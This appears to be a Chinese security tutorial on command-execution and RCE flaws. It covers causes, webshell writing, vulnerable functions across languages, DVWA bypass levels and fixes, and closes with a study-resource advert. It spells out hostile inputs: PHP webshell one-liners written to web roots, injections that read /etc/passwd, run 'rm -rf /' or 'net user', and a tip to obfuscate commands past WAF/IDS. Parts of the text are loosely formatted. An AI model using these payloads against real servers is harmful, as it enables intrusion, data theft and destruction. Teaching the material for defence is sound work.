文章目录

1. 命令执行漏洞是什么?产生原因有哪些?
命令执行漏洞是指攻击者能够通过应用程序的输入点(如表单、URL参数、API等),直接或间接执行系统命令或代码的漏洞。这种漏洞通常出现在开发者未对用户输入进行充分验证或过滤的情况下,导致攻击者可以注入恶意命令并被系统执行。
产生原因的详细步骤:
-
未过滤或未验证用户输入
-
开发者直接将用户输入拼接到系统命令中,未进行严格的输入检查。例如,输入参数直接用于调用系统命令执行函数。
-
示例:
system("ping " + user_input),如果用户输入为127.0.0.1 && dir,可能执行额外命令。
-
-
不安全的函数调用
-
使用了允许直接执行系统命令的危险函数(如
system()、exec()、shell_exec()等),且未对输入进行限制。 -
示例:PHP中
shell_exec($_GET['cmd']),用户可通过URL参数注入命令。
-
-
拼接命令的逻辑错误
-
开发者在构造命令时,未考虑命令分隔符(如
;、&&、|等)可能被注入,导致执行意外命令。 -
示例:输入
file.txt; rm -rf /可能删除服务器文件。
-
-
权限控制不当
- 应用程序以高权限运行(如root或Administrator),使得命令执行的影响范围更大。
-
第三方组件或库的漏洞
- 使用了存在命令注入漏洞的第三方库或框架,未及时更新补丁。
2. 命令执行漏洞如何getshell或写入webshell?
Getshell是指通过命令执行漏洞获取目标服务器的控制权,通常通过写入webshell(一个后门脚本)实现。以下是具体方法:
写入webshell的步骤:
Linux系统:
-
利用命令写入文件
-
使用命令将webshell内容写入服务器可访问的目录。
-
示例:
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php -
解释:将PHP代码写入
shell.php,通过URL访问即可执行命令。
-
-
利用管道或重定向
-
如果直接写入受限,可通过管道或重定向绕过。
-
示例:
whoami | tee /var/www/html/shell.php(tee将输出写入文件)。
-
Windows系统:
-
利用echo命令写入文件
-
示例:
echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php -
解释:Windows下用
^转义特殊字符,写入PHP后门。
-
-
利用copy或type命令
-
示例:
echo <?php system($_GET["cmd"]); ?> > temp.txt & copy temp.txt C:\inetpub\wwwroot\shell.php -
解释:先写入临时文件,再复制到目标路径。
-
注意点:
-
权限限制:确保当前用户有写入目标目录的权限。
-
路径可访问性:webshell需写入Web服务器可访问的目录(如
/var/www/html或C:\inetpub\wwwroot)。 -
命令长度限制:某些系统对输入长度有限制,需分步执行或使用短命令。
-
防御检测:避免触发WAF或IDS,可能需要编码或混淆命令。
3. 命令执行漏洞的分类(RCE)
**RCE(Remote Code Execution,远程代码执行)**是命令执行漏洞的一种广义分类,可细分为:
-
操作系统命令注入
- 直接执行系统命令,如
system("ping " + input)。
- 直接执行系统命令,如
-
代码执行漏洞
- 执行应用程序代码,如PHP的
eval()执行用户输入的PHP代码。
- 执行应用程序代码,如PHP的
-
反序列化漏洞导致的RCE
- 通过反序列化调用危险函数执行命令(如Java的
Runtime.exec())。
- 通过反序列化调用危险函数执行命令(如Java的
-
模板引擎注入
- 如Python的Jinja2模板注入,执行任意代码。
-
文件操作导致的RCE
- 通过文件包含或上传结合命令执行实现。
4. 如何发现命令执行漏洞?
发现方法:
-
黑盒测试
-
输入命令分隔符(如
;、&&、|)或特殊字符(如$()、"),观察响应是否异常。 -
示例:输入
127.0.0.1; whoami,检查返回是否包含用户名。
-
-
白盒审计
-
检查代码中是否使用了危险函数(如
system()、exec()),并分析输入是否可控。 -
示例:查找
os.system(request.GET['cmd'])。
-
-
模糊测试(Fuzzing)
- 使用工具(如Burp Suite)发送大量畸形输入,检测异常行为。
-
日志分析
- 检查服务器日志中是否有异常命令执行的痕迹。
5. 不同语言的命令执行漏洞危险函数
以下是常见语言中的危险函数列表:
PHP:
-
system():执行系统命令并返回输出。 -
exec():执行命令,返回最后一行。 -
shell_exec():执行命令,返回完整输出。 -
passthru():执行命令并直接输出。 -
popen():打开进程文件指针。 -
proc_open():执行命令并控制进程。 -
eval():执行PHP代码。 -
assert():执行字符串作为代码(旧版本)。
Python:
-
os.system():执行系统命令。 -
os.popen():执行命令并返回文件对象。 -
subprocess.call():执行命令(未设置shell=False时危险)。 -
subprocess.Popen():类似call()。 -
exec():执行Python代码。 -
eval():执行表达式。
Java:
-
Runtime.getRuntime().exec():执行系统命令。 -
ProcessBuilder:未正确过滤参数时可执行命令。
Ruby:
-
system():执行系统命令。 -
-
exec():替换当前进程执行命令。 -
Open3.popen3():执行命令并控制输入输出。
Perl:
-
system():执行系统命令。 -
exec():执行命令并退出。 -
-
open():未过滤时可执行命令(如open(FILE, "|cmd"))。
注意:
- 这些函数本身不一定有漏洞,但与未过滤的用户输入结合使用时极易导致RCE。
6. 查漏补缺与案例分析
查漏补缺:
-
防御措施:
-
使用白名单过滤输入,避免直接拼接命令。
-
使用安全的API替代危险函数(如Python的
subprocess设置shell=False)。 -
限制应用程序运行权限(如非root用户)。
-
-
检测难点:
-
隐蔽的命令注入(如编码后的输入:
$(whoami))。 -
多层调用导致的漏洞(如函数间接调用
system())。
-
案例分析:
-
PHP命令注入案例
-
代码:
system("ping " . $_GET['ip']); -
输入:
127.0.0.1; cat /etc/passwd -
结果:服务器执行
ping 127.0.0.1; cat /etc/passwd,泄露用户信息。 -
修复:使用
escapeshellarg()过滤输入。
-
-
Python RCE案例
-
代码:
os.system("ls " + user_input) -
输入:
dir && rm -rf / -
结果:删除服务器文件。
-
修复:使用
subprocess.run(["ls", user_input], shell=False)。
-
-
Windows webshell案例
-
代码:
system("dir " . $_GET['path']); -
输入:
nul & echo <?php system($_GET["cmd"]); ?> > shell.php -
结果:写入webshell,攻击者通过
shell.php?cmd=whoami控制服务器。
-


RCE漏洞防御
Low级别
- 192.168.1.5 && net user

中等防护
&& ; 替换

-
|| 前面能执行 只执行了前面的
-
| 后面能执行 只能执行后面的

-
;前面错了 后面的命令依旧能执行
-
| 只执行了后面的命令 192.168.1.5|net user

Hight
-
有空格 单个管道符不行 192.168.1.5| net user
-
代码审计是无敌得可以审计出这种bug

- 最高等级防护 对数据输入的数据进行严格的控制 说明类别的数据类型__。

远程命令执行
- 一般都是通过代码审计审核出代码漏洞 也就是安全审计
1)执行系统命令: assert,exec,shell_exec,``(反单引号)
- system,passthru,pcntl_exec,popen,proc_open
(2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
- 写在eval()中的字符串都会当做代码来执行。
(3)文件包含与生成:
- require, require_once, include, include_once,file_get_contents, file_put_contents, fputs, fwrite
(4)dvwa low && Medium & 或&;& High | (代码里面的|后有一个空格)pikachu phpinfo();
(5)struts2命令执行漏洞攻防演示
历史漏洞:__https://www.seebug.org/search/?keywords=struts2
-
REC防御只看DVW得防范就可以了
-
_**尽量不要使用命令执行函数。**_ _**不要让用户控制参数。**_ _**执行前做好检测和过滤。**_
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取



882

被折叠的 条评论
为什么被折叠?



